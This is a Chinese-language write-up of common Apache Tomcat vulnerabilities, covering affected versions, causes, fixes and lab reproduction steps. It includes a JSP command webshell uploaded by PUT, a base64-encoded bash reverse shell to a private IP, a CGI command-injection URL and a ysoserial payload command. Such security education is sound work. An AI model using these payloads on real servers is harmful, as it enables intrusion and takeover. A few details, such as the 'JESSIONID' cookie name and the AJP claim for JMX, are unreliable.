Tomcat常见安全漏洞

以下是Tomcat中间件的主要安全漏洞及其详细信息,基于公开披露的CVE编号和漏洞报告整理:


Tomcat常见漏洞汇总

1. 远程代码执行漏洞(CVE-2025-24813)

  • 影响版本
    Apache Tomcat 9.0.0-M1 至 9.0.98
    Apache Tomcat 10.1.0-M1 至 10.1.34
    Apache Tomcat 11.0.0-M1 至 11.0.2
  • 漏洞原理
    默认Servlet的写入功能启用后(默认禁用),攻击者可通过部分PUT请求上传恶意序列化会话文件,结合Tomcat的基于文件会话持久化机制触发反序列化,实现远程代码执行(RCE)或信息泄露。
  • 修复建议:升级至Tomcat 9.0.99、10.1.35或11.0.3。
  • 关键词:PUT文件上传、反序列化

2. PUT方法任意文件写入漏洞(CVE-2017-12615)

  • 影响版本
    Apache Tomcat 7.0.0 – 7.0.81
    Apache Tomcat 8.5.19(部分配置下)
  • 漏洞原理
    web.xmlreadonly参数设置为false,攻击者可通过PUT请求上传恶意JSP文件(需绕过文件名限制,如/shell.jsp%20),进而执行任意命令。
  • 修复建议:保持readonly为默认值true,禁用PUT方法。
  • 关键词:PUT文件上传、文件名绕过

3. AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat)

  • 影响版本
    Tomcat 6全版本、Tomcat 7 < 7.0.100、Tomcat 8 < 8.5.51、Tomcat 9 < 9.0.31
  • 漏洞原理
    AJP协议设计缺陷允许攻击者读取或包含Web应用目录下的任意文件(如WEB-INF/web.xml)。若存在文件上传点,可结合文件包含实现RCE。
  • 修复建议:关闭AJP服务或升级至安全版本。
  • 关键词:8009端口、幽灵猫、文件包含

4. 远程代码执行漏洞(CVE-2019-0232)

  • 影响版本
    Tomcat 7.0.0 – 7.0.93(Windows)
    Tomcat 8.5.0 – 8.5.39(Windows)
    Tomcat 9.0.0-M1 – 9.0.17(Windows)
  • 漏洞原理
    CGI Servlet中enableCmdLineArguments启用时,Windows系统参数传递漏洞允许通过URL执行系统命令(如calc.exe)。
  • 修复建议:禁用CGI功能或升级至修复版本。
  • 关键词:Windows、命令拼接

5. 弱口令与后台WAR包部署漏洞

  • 影响版本:全版本(配置相关)
  • 漏洞原理
    默认后台路径/manager/html使用弱口令(如tomcat/tomcat),攻击者可上传恶意WAR包(包含JSP木马),直接获取服务器控制权。
  • 修复建议:禁用默认账号、强化密码策略,限制后台访问权限。
  • 关键词:弱口令爆破、后台泄露

6. HTTP/2拒绝服务漏洞(CVE-2024-34750)

  • 影响版本
    Tomcat 9.0.0-M1 – 9.0.89
    Tomcat 10.1.0-M1 – 10.1.24
    Tomcat 11.0.0-M1 – 11.0.0-M20
  • 漏洞原理
    HTTP/2流处理异常导致连接无限超时,引发拒绝服务(DoS)。
  • 修复建议:升级至Tomcat 9.0.90、10.1.25或11.0.0-M21。

7. 反序列化漏洞(CVE-2016-8735)

  • 影响版本
    Tomcat 6.0.0 – 6.0.47
    Tomcat 7.0.0 – 7.0.72
    Tomcat 8.0.0-RC1 – 8.0.38
    Tomcat 8.5.0 – 8.5.6
    Tomcat 9.0.0-M1 – 9.0.0-M11
  • 漏洞原理
    启用JmxRemoteLifecycleListener监听时,攻击者通过反序列化漏洞执行任意代码(如利用Groovy库)。
  • 修复建议:禁用JMX远程监听或升级至安全版本。
  • 关键词:JMX、端口、反序列化

8. 样例目录信息泄露漏洞

  • 影响版本:全版本
  • 漏洞原理
    默认包含的/examples目录允许未授权操作Session或泄露敏感信息。
  • 修复建议:删除webapps/examples目录。

漏洞修复通用建议:

  1. 及时升级:关注Apache官方安全公告,更新至最新版本。
  2. 最小化配置:禁用不必要的协议(如AJP)、Servlet功能(如PUT、CGI)和默认示例。
  3. 权限控制:强化后台管理认证,避免使用默认凭据。
  4. 监控与防护:部署WAF、日志审计等安全措施。

更多细节可查阅相关漏洞报告来源(如CVE数据库或上述引用链接)。

1. 远程代码执行漏洞(CVE-2025-24813)

以下是关于 远程代码执行漏洞(CVE-2025-24813) 的详细分析,包括漏洞原理、复现流程及影响版本,综合了多个来源的公开信息:


漏洞原理

该漏洞源于 Apache Tomcat 在处理 PUT 请求时的路径等效性逻辑缺陷。具体而言,当应用程序启用了 DefaultServlet 的写入功能(默认关闭)且支持 Partial PUT 请求时,攻击者可通过构造恶意请求,将序列化的会话文件(含恶意代码)上传至 Tomcat 的默认会话存储目录。由于 Tomcat 的 文件会话持久化机制 未对上传文件名进行严格校验,攻击者可通过指定 JSESSIONID 触发反序列化操作,最终导致远程代码执行(RCE)或敏感信息泄露。

关键利用条件

  1. 启用 DefaultServlet 写入功能(默认关闭);
  2. 支持 Partial PUT 请求(默认开启);
  3. 使用 Tomcat 文件会话持久化且未修改默认会话存储路径;
  4. 目标环境依赖存在反序列化漏洞的库(如 commons-collections)。

影响版本

  • Apache Tomcat 9.x:9.0.0.M1 ≤ 受影响版本 ≤ 9.0.98
  • Apache Tomcat 10.x:10.1.0-M1 ≤ 受影响版本 ≤ 10.1.34
  • Apache Tomcat 11.x:11.0.0-M1 ≤ 受影响版本 ≤ 11.0.2

安全版本
需升级至 Tomcat 9.0.99、10.1.35 或 11.0.3 以修复漏洞。


复现流程(理论推导)

由于漏洞利用条件复杂且涉及非默认配置,复现需以下步骤:

  1. 环境配置

    • 部署受影响版本的 Tomcat(如 9.0.98)。
    • web.xml 中启用 DefaultServlet 的写入功能(设置 readonly=false)。
    • 确保会话管理配置为 文件持久化(默认路径为 $CATALINA_BASE/work/SESSIONS.ser)。
  2. 构造恶意请求

    • 通过 Partial PUT 请求上传恶意序列化文件至会话目录。例如: 需要发送的是反正的二进制数据
      1
      2
      3
      4
      PUT /xxxxx/session HTTP/1.1
      Host: target.com
      Content-Type: application/x-java-serialized-object
      ...(恶意序列化数据)...

    image-20250325230725742

    • 利用文件名拼接或路径遍历绕过校验(如使用特殊字符或路径分隔符)。
  3. 触发反序列化

    • 发送包含指定 JSESSIONID 的请求,触发 Tomcat 加载并反序列化恶意文件。
    1
    2
    3
    GET / HTTP/1.1
    Host: localhosst:8080
    Cookie: JESSIONID=.xxxxx

    image-20250325230756681

    • 若目标环境中存在反序列化利用链(如 commons-collections),可执行任意系统命令。

修复建议

  1. 升级版本:立即升级至 Apache 官方修复版本(9.0.99/10.1.35/11.0.3);
  2. 禁用非必要功能:关闭 DefaultServlet 写入功能,限制 PUT 方法使用;
  3. 会话管理优化:避免使用文件持久化,改用数据库或其他安全存储方式;
  4. 访问控制:限制外部对会话目录的访问,并监控异常文件上传行为。

补充说明

  • 漏洞利用难度:实际攻击需满足多条件叠加,包括特定配置和依赖库,因此实际风险受限于目标环境配置。
  • 攻击趋势:已观察到针对该漏洞的初步利用尝试,但多数为漏洞探测行为,尚未大规模爆发。

如需完整复现细节或工具脚本,可参考安全分析报告原文。

个评

  • 该漏洞需要启用DefaultServlet功能,利用条件还是比较苛刻的。
  • 但是利用难度其实并不高。

2.PUT方法任意文件写入漏洞(CVE-2017-12615)

以下是关于 PUT方法任意文件写入漏洞(CVE-2017-12615) 的详细分析,基于搜索结果整理:


漏洞原理

该漏洞源于 Apache Tomcat 的配置缺陷。当 Tomcat 的 conf/web.xml 文件中将 DefaultServletreadonly 参数设置为 false(默认值为 true)时,攻击者可通过 HTTP PUT 方法 上传任意文件。尽管 Tomcat 默认禁止上传 .jsp 文件,但由于路径解析逻辑问题,攻击者可通过特殊文件名绕过限制(如添加 /、空格或使用 Windows NTFS 流特性),上传恶意 JSP 文件并执行任意代码。

关键触发条件

  1. readonly 参数设置为 false
  2. 目标环境支持 HTTP PUT 方法;
  3. 攻击者能绕过文件名后缀限制(如 .jsp)。

影响版本

  • 主要受影响版本
    • Apache Tomcat 7.0.0 – 7.0.81;
    • 部分配置下,Tomcat 8.5.19 也受影响(非默认配置);
  • 安全版本:升级至 Tomcat 7.0.82 及以上。

复现流程

以下是基于 Vulhub 靶场环境的复现步骤:

1. 环境搭建

  • 使用 Docker 启动漏洞环境(如 Vulhub 的 tomcat/CVE-2017-12615):
    1
    2
    cd vulhub/tomcat/CVE-2017-12615
    docker-compose up -d

2. 构造恶意请求

  • 绕过文件名限制
    • **添加斜杠 /**:PUT /shell.jsp/ HTTP/1.1
    • **添加空格 %20**:PUT /shell.jsp%20 HTTP/1.1
    • 使用 NTFS 流(Windows)PUT /shell.jsp::$DATA HTTP/1.1
  • 上传 JSP 木马
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    PUT /shell.jsp/ HTTP/1.1
    Host: <target_ip>:8080
    Content-Length: <length>
    Content-Type: application/x-www-form-urlencoded

    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.io.BufferedReader" %>
    <%@ page import="java.io.InputStreamReader" %>
    <%
    if ("pass".equals(request.getParameter("pwd"))) {
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream in = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(in));
    String line;
    while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
    }
    }
    %>

image-20250325235602575

3. 验证利用

  • 访问上传的 JSP 文件(如 http://<target_ip>:8080/shell.jsp),通过参数执行命令:
    1
    http://<target_ip>:8080/shell.jsp?pwd=pass&cmd=whoami

image-20250325235621112

4. 或者使用工具自动化

  • 使用 Burp Suite中国蚁剑 连接上传的木马文件,获取服务器控制权。

修复建议

  1. 配置修复
    • conf/web.xml 中的 readonly 参数恢复为默认值 true
    • 禁用 HTTP PUT 方法(若业务无需使用)。
  2. 版本升级:升级至 Apache Tomcat 7.0.82 或更高版本。
  3. 安全加固
    • 删除默认示例目录(如 /examples);
    • 限制上传文件类型,监控异常文件操作。

补充说明

  • 漏洞利用限制
    • 需目标服务器运行于 Windows 或支持特定文件名解析的 Linux 环境;
    • 实际利用需结合目标配置(如 readonly=false)。
  • 攻击趋势
    该漏洞常被用于上传 WebShell 或结合其他漏洞扩大攻击面,需及时修复。

更多技术细节可参考相关漏洞报告及复现工具(如 Vulhub 环境)。

个评

  • 该漏洞主要利用文件上传配合tomcat低版本时黑名单过滤不严谨,导致攻击者上传JSP文件,实现远程代码执行。

  • 该漏洞,和上一个漏洞有一个共同点,都是通过PUT文件上传,然后执行恶意代码。不过一个是直接执行JSP代码,而另一个是通过反序列化漏洞来达成的命令执行。

3. AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat)(幽灵猫)

以下是关于 AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat) 的详细分析,结合漏洞原理、复现流程及影响版本,综合了多个可信来源的公开信息:


漏洞原理

该漏洞源于 Apache Tomcat AJP协议的设计缺陷。Tomcat默认配置中启用了AJP连接器(默认端口8009),用于与其他Web服务器(如Apache HTTP Server)通过AJP协议交互。攻击者可通过构造恶意AJP请求,操控以下三个关键属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

通过控制这些属性,攻击者可绕过路径校验,读取或包含Web应用目录(如WEB-INF)下的任意文件(如web.xmlclasses文件等)。若目标服务器存在文件上传功能,攻击者可结合文件包含实现远程代码执行(RCE)。

关键触发条件

  1. 目标Tomcat服务开启AJP协议端口(默认8009);
  2. 未配置AJP协议认证(如secretrequiredSecret参数)。

影响版本

以下版本的Apache Tomcat受此漏洞影响:

  • Tomcat 6.x:全版本
  • Tomcat 7.x:7.0.0 ≤ 版本 < 7.0.100
  • Tomcat 8.x:8.0.0 ≤ 版本 < 8.5.51
  • Tomcat 9.x:9.0.0 ≤ 版本 < 9.0.31

安全版本

  • Tomcat 7.0.100+
  • Tomcat 8.5.51+
  • Tomcat 9.0.31+ 。

复现流程

环境搭建

  1. 部署漏洞环境
    • 使用受影响的Tomcat版本(如8.5.30),确保AJP端口(8009)开放。
    • 默认配置文件conf/server.xml中需包含以下内容(未注释AJP连接器):
      1
      <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

攻击步骤

  1. 利用脚本读取任意文件

    • 使用公开的PoC脚本(如CNVD-2020-10487-Tomcat-Ajp-lfi.py):
      1
      python3 CVE-2020-1938.py <目标IP> -p 8009 -f WEB-INF/web.xml
    • 成功执行后,可读取WEB-INF/web.xml等敏感文件。
  2. 结合文件上传实现RCE

    • 若存在文件上传点(如上传exec.txt至Web根目录):
      1
      <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82MzAwMCAwPiYx}|{base64,-d}|{bash,-i}"); %>
    • 包含该文件触发命令执行:
      1
      python3 CVE-2020-1938.py <目标IP> -p 8009 -f exec.txt --rce 1
    • 成功后可获取反弹Shell或执行系统命令。

修复建议

  1. 升级Tomcat版本:升级至安全版本(7.0.100+/8.5.51+/9.0.31+)。
  2. 禁用AJP协议
    • 注释或删除conf/server.xml中的AJP连接器配置:
      1
      <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
  3. 配置AJP认证(若需保留AJP服务):
    • 为AJP连接器添加secret(Tomcat 7/9)或requiredSecret(Tomcat 8)参数:
      1
      <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" secret="YOUR_SECRET_KEY" />
  4. 网络隔离:限制AJP端口(8009)仅允许可信IP访问。

补充说明

  • 漏洞别名:该漏洞因隐蔽性强被称为“幽灵猫(Ghostcat)”。
  • 利用限制
    • 读取文件需路径精确(如WEB-INF/web.xml);
    • 远程代码执行需结合文件上传功能。
  • 攻击趋势:曾发现针对该漏洞的大规模扫描行为,主要用于信息窃取和后续渗透。

如需完整复现脚本或技术细节,可参考上述引用来源中的GitHub仓库及漏洞分析报告。

个评

  • 这个漏洞可以进行批量化扫描,因为基本上只要扫描到8009端口,同时使用POC去包含web-inf/web.xml文件,看能看到敏感信息。如果成功,那么就很有可能此存在幽灵猫漏洞,因此可以进行批量化利用。
  • 这个漏洞的本质还是文件包含,通过对三个属性的配置绕过路径校验,进而包含WEB目录下的任意文件,不过需要结合文件上传进行利用,才能实现远程RCE,

4. 远程代码执行漏洞(CVE-2019-0232)

以下是关于 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232) 的详细分析,涵盖漏洞原理、利用条件、复现流程及影响版本,综合了多个可信来源的信息:


漏洞原理

该漏洞与 Tomcat 的 CGI Servlet 组件相关,具体由以下因素共同导致:

  1. 参数传递机制缺陷

    • 当启用 enableCmdLineArguments 参数时,CGI Servlet 会根据 URL 参数生成命令行参数,并通过 Runtime.getRuntime().exec() 执行。
    • Windows 平台特殊性:Java 的 exec() 方法在 Windows 中调用 CreateProcess 函数处理命令,若参数为 .bat.cmd 文件,会隐式调用 cmd.exe 执行,导致参数解析逻辑与 Linux 不同。
  2. 命令注入漏洞

    • 由于 Java 未对参数进行转义,攻击者可通过构造包含特殊字符(如 &|)的参数注入额外命令。例如,访问 /cgi-bin/test.bat?&C:/Windows/System32/calc.exe 会触发计算器程序执行。

利用条件

漏洞利用需同时满足以下条件:

  1. 系统环境
    • 目标服务器运行 Windows 操作系统(Linux 不受影响)。
  2. Tomcat 配置
    • 启用 CGI Servlet(默认关闭);
    • 启用 enableCmdLineArguments 参数(Tomcat 9.0+ 默认关闭);
    • context.xml 中设置 privileged="true" 以提升权限。
  3. 文件路径
    • webapps/ROOT/WEB-INF 下创建 cgi-bin 目录,并放置可执行的 .bat 文件。

复现流程

  1. 环境搭建

    • 安装受影响的 Tomcat 版本(如 8.5.39)及 JDK,配置环境变量。
    • 修改配置文件:
      • web.xml:取消 CGI Servlet 注释,添加 enableCmdLineArgumentsexecutable 参数:
        1
        2
        3
        4
        5
        6
        7
        8
        <init-param>  
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
        </init-param>
        <init-param>
        <param-name>executable</param-name>
        <param-value></param-value>
        </init-param>
      • context.xml:添加 privileged="true"
  2. 创建恶意脚本

    • cgi-bin 目录下创建 hello.bat,内容如下:
      1
      2
      3
      4
      5
      @echo off  
      echo Content-Type: text/plain
      echo.
      set foo=&~1
      %foo%
  3. 执行攻击

    • 访问构造的 URL,注入系统命令:
      1
      http://<目标IP>:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe  
    • 成功执行后,将弹出计算器或显示命令输出(如 ipconfig)。

影响版本

以下版本的 Apache Tomcat 受影响:

  • Tomcat 7.x:7.0.0 – 7.0.93
  • Tomcat 8.x:8.5.0 – 8.5.39
  • Tomcat 9.x:9.0.0.M1 – 9.0.17

安全版本

  • Tomcat 7.0.94+
  • Tomcat 8.5.40+
  • Tomcat 9.0.18+(需注意 9.0.18 为候选版本,官方推荐 9.0.19+)

修复建议

  1. 升级版本:升级至安全版本(如 Tomcat 9.0.19+)。
  2. 禁用危险参数
    • web.xml 中设置 enableCmdLineArguments=false
  3. 最小化配置
    • 禁用 CGI Servlet(若无需使用);
    • 删除或限制 cgi-bin 目录的访问权限。
  4. 权限控制
    • 避免在 context.xml 中启用 privileged="true",除非必要。

补充说明

  • 漏洞验证工具:可通过 Python 脚本自动化检测漏洞存在性(参考示例脚本)。
  • 攻击趋势:该漏洞因利用条件苛刻(需特定配置)且仅限 Windows,实际攻击案例较少,但仍需警惕针对性攻击。

更多技术细节可参考上述引用来源中的复现步骤及分析报告。

个评

  • 该漏洞利用难度并不高,只需要在URL拼接命令即可,但是利用条件相对苛刻,需要目标服务器上存在cgi-bin目录下存在已知的bat文件才可利用,否则无法利用。

  • 一个非常重要的点,在漏洞原理中提到Windows 平台特殊性,在Windows环境下,exec()函数处理字符串的化默认处理使用CreateProcess函数处理命令,当函数为.bat.cmd 文件时会隐式调用cmd.exe来执行命令,这时就可以直接利用命令拼接符号来凭借第二条命令,达成命令注入漏洞。

5. 弱口令与后台WAR包部署漏洞

以下是关于 Tomcat 弱口令与后台WAR包部署漏洞 的详细分析,综合了多个来源的公开信息:


漏洞原理

  1. 弱口令漏洞
    Tomcat 默认管理后台(路径 /manager/html)的用户配置文件为 conf/tomcat-users.xml。若管理员未修改默认账号(如 tomcat/tomcat)或使用弱密码,攻击者可通过暴力破解登录后台。
  2. WAR包部署漏洞
    Tomcat 支持通过管理界面上传 WAR(Web Application Archive)包并自动部署。攻击者可上传包含恶意 JSP 木马的 WAR 包,从而在服务器上执行任意代码或获取系统权限。

利用条件

  1. 配置缺陷
    • 管理后台允许远程访问(默认仅限本地访问,需手动修改 context.xml 解除限制)。
    • 存在弱口令或默认凭据(如 tomcat/tomcatadmin/admin 或空密码)。
  2. 功能启用
    • 用户角色需具备 manager-guimanager-script 权限以访问部署功能。

影响版本

  • 全版本 Tomcat
    漏洞风险与配置相关,非特定版本问题。但不同版本的默认行为有差异:
    • Tomcat 6.x:默认用户名为 admin,密码为空,且无登录失败锁定机制。
    • **Tomcat 7.x+**:默认无用户,需手动配置;若设置弱口令且允许远程访问,则存在风险。

复现流程

  1. 环境搭建

    • 使用 Docker 启动漏洞环境(如 Vulhub 的 tomcat8 镜像):
      1
      2
      cd /vulhub/tomcat/tomcat8
      docker-compose up -d
    • 修改 conf/tomcat-users.xml,添加用户权限:
      1
      2
      <role rolename="manager-gui"/>
      <user username="tomcat" password="tomcat" roles="manager-gui,manager-script"/>
  2. 登录后台

    • 访问 http://<目标IP>:8080/manager/html,使用弱口令登录。
  3. 生成并上传 WAR 包

    • 将 JSP 木马(如冰蝎或哥斯拉)打包为 WAR 文件:
      1
      jar -cvf shell.war shell.jsp  # 或使用 zip 重命名
    • 通过管理界面上传 WAR 包,Tomcat 会自动解压并部署到 /webapps 目录。
  4. 连接 Webshell

    • 访问部署路径(如 http://<目标IP>:8080/shell/shell.jsp),使用工具(如冰蝎)连接并执行命令。

修复建议

  1. 密码策略
    • 使用强密码(大小写字母、数字、特殊字符组合),禁用默认账号。
  2. 访问控制
    • 限制管理后台仅允许本地或可信 IP 访问(修改 context.xml 中的 allow 字段)。
  3. 功能禁用
    • 删除或重命名 managerhost-manager 目录。
  4. 权限分离
    • 使用低权限账户运行 Tomcat,避免 root 或管理员权限。

补充说明

  • 攻击趋势:该漏洞常被用于快速获取服务器权限,结合其他漏洞扩大攻击面。
  • 自动化工具:攻击者常使用 Burp Suite 爆破弱口令,或利用 Metasploit 生成 WAR 木马。

更多技术细节可参考上述引用来源中的复现步骤及分析报告。

个评

  • 一共有两种方式,一种是直接图像界面的部署方式,一种是通过put请求上传后进行进行部署。

6.反序列化漏洞(CVE-2016-8735)

以下是关于 Tomcat反序列化漏洞(CVE-2016-8735) 的详细分析,综合了多个可信来源的信息:


漏洞原理

该漏洞源于Tomcat的 JmxRemoteLifecycleListener 监听功能。当Tomcat配置使用JMX(Java Management Extensions)进行远程监控时,该监听器会默认启用AJP协议的JMX远程通信端口(默认未开放)。由于Tomcat未正确处理JMX请求中的反序列化数据,攻击者可通过构造恶意序列化对象发送至JMX端口,触发反序列化操作,从而执行任意代码(RCE)。
关键缺陷

  • 使用存在漏洞的JMX实现(与Oracle的CVE-2016-3427相关);
  • 反序列化过程未对输入数据做安全校验,允许恶意对象被加载执行。

利用条件

漏洞利用需满足以下条件:

  1. 配置启用JMX远程监控
    • conf/server.xml 中启用 JmxRemoteLifecycleListener 监听器,并配置远程JMX端口(如默认未开放需手动开启)。
  2. 网络可达性
    • 攻击者需能访问Tomcat的JMX服务端口(默认不开放,需手动配置)。
  3. 依赖反序列化利用链
    • 目标环境中需存在可利用的反序列化库(如 commons-collections)。

复现流程

环境搭建

  1. 部署受影响版本的Tomcat(如8.5.6):
    1
    2
    3
    4
    <!-- 在 conf/server.xml 中启用 JmxRemoteLifecycleListener -->
    <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
    rmiRegistryPortPlatform="10001"
    rmiServerPortPlatform="10002" />
  2. 启动Tomcat并开放JMX端口
    1
    2
    CATALINA_OPTS="-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false"
    ./catalina.sh start

攻击步骤

  1. 生成恶意序列化Payload
    • 使用 ysoserial 工具生成利用链(如 CommonsCollections2):
      1
      java -jar ysoserial.jar CommonsCollections2 "calc.exe" > payload.bin
  2. 发送Payload至JMX端口
    • 通过工具(如 jmxinvoke)将Payload发送至目标JMX端口(如9999)。
  3. 触发反序列化
    • 成功执行后,目标服务器将执行注入的命令(如弹出计算器)。

影响版本

以下Apache Tomcat版本受此漏洞影响:

  • Tomcat 9.x:9.0.0.M1 ≤ 版本 < 9.0.0.M12
  • Tomcat 8.5.x:8.5.0 ≤ 版本 < 8.5.7
  • Tomcat 8.0.x:8.0.0.RC1 ≤ 版本 < 8.0.39
  • Tomcat 7.x:7.0.0 ≤ 版本 < 7.0.73
  • Tomcat 6.x:全版本(官方已停止支持)。

安全版本

  • Tomcat 9.0.0.M12+
  • Tomcat 8.5.7+
  • Tomcat 8.0.39+
  • Tomcat 7.0.73+

修复建议

  1. 升级至安全版本:优先升级到官方修复版本。
  2. 禁用JMX远程监听
    • 注释或删除 conf/server.xml 中的 JmxRemoteLifecycleListener 配置。
  3. 网络隔离:限制JMX端口的访问权限,仅允许可信IP通信。
  4. 依赖库加固:移除或更新存在漏洞的反序列化库(如 commons-collections)。

补充说明

  • 漏洞利用难度:由于需手动配置JMX端口开放且依赖特定利用链,实际攻击门槛较高。
  • 关联漏洞:该漏洞与Oracle的CVE-2016-3427相关,但Tomcat未及时合并修复补丁。
  • 检测工具:可通过 nmap 扫描JMX端口(如9999)或使用漏洞扫描器(如Nessus)进行检测。

更多技术细节可参考Apache官方公告及漏洞分析报告。